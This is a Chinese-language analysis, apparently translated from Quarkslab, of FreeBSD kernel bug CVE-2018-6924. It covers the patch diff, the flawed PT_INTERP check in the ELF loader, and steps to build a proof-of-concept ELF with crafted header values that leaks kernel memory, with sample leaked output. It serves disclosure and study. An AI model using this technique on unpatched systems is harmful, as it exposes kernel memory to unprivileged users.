在FreeBSD-SA-18:12这份安全公告中，FreeBSD修复了一个内核内存泄漏漏洞，该漏洞会影响相关操作系统的所有版本。这个漏洞就是这篇文章的主人公：漏洞CVE-2018-6924，由于FreeBSD内核在解析代码指向的ELF头时，缺少有效验证，此时的本地非特权用户就可以利用该漏洞查看内核内存的数据了。
漏洞补丁分析
跟往常一样，安全公告中包含了补丁源码的链接，我们先来看一看相关的补丁代码：
---sys/kern/imgact_elf.c.orig
+++sys/kern/imgact_elf.c
@@-839,7 +839,8 @@
break;
case PT_INTERP:
/* Path to interpreter */
- if (phdr[i].p_filesz >MAXPATHLEN) {
+ if (phdr[i].p_filesz < 2||
+ phdr[i].p_filesz >MAXPATHLEN) {
uprintf("InvalidPT_INTERP\n");
error = ENOEXEC;
goto ret;
@@-870,6 +871,11 @@
} else {
interp = __DECONST(char *,imgp->image_header) +
phdr[i].p_offset;
+ if(interp[interp_name_len - 1] != '\0') {
+ uprintf("Invalid PT_INTERP\n");
+ error =ENOEXEC;
+ goto ret;
+ }
}
break;
case PT_GNU_STACK:
---sys/kern/vfs_vnops.c.orig
+++sys/kern/vfs_vnops.c
@@-528,6 +528,8 @@
struct vn_io_fault_args args;
int error, lock_flags;
+ if (offset < 0 && vp->v_type!= VCHR)
+ return (EINVAL);
auio.uio_iov = &aiov;
auio.uio_iovcnt = 1;
aiov.iov_base = base;
这里有两处修改：sys/kern/imgact_elf.c和sys/kern/vfs_vnops.c。sys/kern/imgact_elf.c文件中包含了内核用于解析执行代码ELF头的代码，修复后的函数如下：
776 static int
777 __CONCAT(exec_, __elfN(imgact))(struct image_params *imgp)
778 {
[...]
受影响函数的名称是由__CONCAT和__elfN macros. __CONCAT生成的，它由这两个参数组成，__elfN在sys/sys/elf_generic.h中定义：
函数名__CONCAT(exec_, __elfN(imgact))可以扩展成exec_elf32_imgact或 exec_elf64_imgact，具体取决于__ELF_WORD_SIZE定义为32还是64。但是在查看sys/kern/源目录后，我们可以看到两个名叫imgact_elf32.c和imgact_elf64.c的小型文件，它们负责给__ELF_WORD_SIZE定义适当的值，然后引入存在漏洞的文件kern/imgact_elf.c。此时，内核会包含两个版本的sys/kern/imgact_elf.c（中的函数），而这些函数名都是使用__elfN宏来构建的：其中一个版本负责处理32位ELF代码，另一个版本负责处理64位版本的ELF文件。
imgact_elf32.c:
#define__ELF_WORD_SIZE 32
#include<kern/imgact_elf.c>
imgact_elf64.c:
#define__ELF_WORD_SIZE 64
#include<kern/imgact_elf.c>
回到补丁代码上，很明显问题出在处理ELF文件的PT_INTERP程序头上：
static int
__CONCAT(exec_,__elfN(imgact))(struct image_params *imgp)
{
[...]
for (i = 0; i < hdr->e_phnum; i++) {
switch (phdr[i].p_type) {
[...]
case PT_INTERP:
/* Path to interpreter */
if (phdr[i].p_filesz >MAXPATHLEN) {
uprintf("InvalidPT_INTERP\n");
error = ENOEXEC;
goto ret;
}
[...]
PT_INTERP程序头包含程序解析器的路径名称，它只对于可执行文件才有意义，PT_INTERP程序头指向可执行文件时使用的是动态链接，并负责给动态链接的可执行程序加载所需的共享库。一般来说，FreeBSD的程序解析器会在/libexec/ld-elf.so.1中设置。
下面给出的是一个针对32位ELF文件的特殊版本Elf_Phdr结构体：
typedef struct {
Elf32_Word p_type; /* Entry type. */
Elf32_Off p_offset; /* File offset of contents. */
Elf32_Addr p_vaddr; /* Virtual address in memory image. */
Elf32_Addr p_paddr; /* Physical address (not used). */
Elf32_Word p_filesz; /* Size of contents in file. */
Elf32_Word p_memsz; /* Size of contents in memory. */
Elf32_Word p_flags; /* Access permission flags. */
Elf32_Word p_align; /* Alignment in memory and file. */
}Elf32_Phdr;
旧版本代码只会检测“if phdr[i].p_filesz > MAXPATHLEN”，如果条件判断为真，函数便会抛出ENOEXEC异常，而修复后的代码添加了额外的检测。
构建PoC
为了触发漏洞，我们需要让我们的ELF填充至一个单独的页面中，C伪代码如下：
int main(int argc, char** argv){
return argc;
}
然后使用clang指令和-m32参数生成一个32位可执行程序，并添加-Oz-Wl和-s参数来让文件大小尽可能的小（不超过4096个字节）。
% clang -Oz -Wl,-s -m32 test.c -o test下面是我们构建的PT_INTERP相关代码：
840 case PT_INTERP:
[...]
852 interp_name_len =phdr[i].p_filesz;
853 if (phdr[i].p_offset> PAGE_SIZE ||
854 interp_name_len> PAGE_SIZE - phdr[i].p_offset) {
855 VOP_UNLOCK(imgp->vp, 0);
856 interp_buf =malloc(interp_name_len + 1, M_TEMP,
857 M_WAITOK);
858 vn_lock(imgp->vp, LK_EXCLUSIVE | LK_RETRY);
859 error =vn_rdwr(UIO_READ, imgp->vp, interp_buf,
860 interp_name_len, phdr[i].p_offset,
861 UIO_SYSSPACE, IO_NODELOCKED, td->td_ucred,
862 NOCRED,NULL, td);
863 if (error !=0) {
864 uprintf("i/o error PT_INTERP\n");
865 gotoret;
866 }
867 interp_buf[interp_name_len] = '\0';
868 interp = interp_buf;
869 } else {
870 interp =__DECONST(char *, imgp->image_header) +
871 phdr[i].p_offset;
872 }
873 break;
我们可以看到第853行和第854行，如果解析器路径字符串的文件偏移量位于第一个页面（phdr[i].p_offset > PAGE_SIZE），或者解析器路径足够长到超出第一个页面（interp_name_len > PAGE_SIZE – phdr[i].p_offset），那么vn_rdwr()函数将会被调用，并读取ELF文件对应的vnode。
触发该漏洞的关键时p_offset成员不超过0×1000，并且解析器路径字符串的长度不会超过PAGE_SIZE – phdr[i].p_offset。那么触发该漏洞的关键就是，我们需要构造一个PT_INTERP程序头，并包含p_offset成员值0×1000，然后还要让p_filesz成员的值为0。我们这里使用了Kaitai WebIDE来构建了我们所需的东西：
披露内核数据
exec_elf32_imgact()函数会调用elf32_load_file()函数来加载解释器，目标文件名路径包含在interp变量中：
1036 if (interp != NULL) {
1037 have_interp = FALSE;
[...]
1058 if (!have_interp) {
1059 error =__elfN(load_file)(imgp->proc, interp, &addr,
1060 &imgp->entry_addr, sv->sv_pagesize);
1061 }
1062 vn_lock(imgp->vp,LK_EXCLUSIVE | LK_RETRY);
1063 if (error != 0) {
1064 uprintf("ELF interpreter %s not found, error %d\n",
1065 interp,error);
1066 goto ret;
1067 }
运行修改后的ELF文件后，我们可以看到它将会窃取内核内存中的内容：
francisco@freebsd112:~% ./poc1
ELFinterpreter Ø3¤ not found, error 2
Abort
francisco@freebsd112:~% ./poc1
ELFinterpreter not found, error 2
Abort
francisco@freebsd112:~% ./poc1
ELFinterpreter $ûÿÿl not found, error 2
Abort
francisco@freebsd112:~% ./poc1
ELFinterpreter ^?ELF^A^A^A not found, error2
Abort
获取不可打印的输出
下面的代码段可以利用该漏洞获取内核内存中75个字节的十六进制导出数据：
francisco@freebsd112:~% script -q capture1 ./poc1
ELFinterpreter ?^[(^[(?^[(?^[(^[(^Z(^Z(^Z(^Z(^[(17^[(5^[(^[(^[(^[( not found, error 2
francisco@freebsd112:~% hexdump -C capture1
00000000 70 6f 63 31 3a 0d 0a 45 4c 46 20 69 6e 74 65 72 |poc1:..ELF inter|
00000010 70 72 65 74 65 72 20 c5 83 5e 5b 28 cc 83 5e 5b |preter ..^[(..^[|
00000020 28 d4 83 5e 5b 28 dc 83 5e 5b 28 98 83 5e 5b 28 |(..^[(..^[(..^[(|
00000030 d8 d1 5e 5a 28 e2 d1 5e 5a 28 fe e5 5e 5a 28 9c |..^Z(..^Z(..^Z(.|
00000040 bf 5e 5a 28 e3 83 5e 5b 28 31 37 5e 5b 28 35 ba |.^Z(..^[(17^[(5.|
00000050 5e 5b 28 e6 83 5e 5b 28 e9 83 5e 5b 28 f2 83 5e |^[(..^[(..^[(..^|
00000060 5b 28 20 6e 6f 74 20 66 6f 75 6e 64 2c 20 65 72 |[( not found, er|
00000070 72 6f 72 20 32 0d 0a 70 6f 63 31 3a 20 73 69 67 |ror 2..poc1: sig|
00000080 6e 61 6c 20 36 0d 0a |nal 6..|
00000087
* 参考来源：quarkslab，FB小编Alpha_h4ck编译，转载请注明来自FreeBuf.COM
如有侵权请联系:admin#unsafe.sh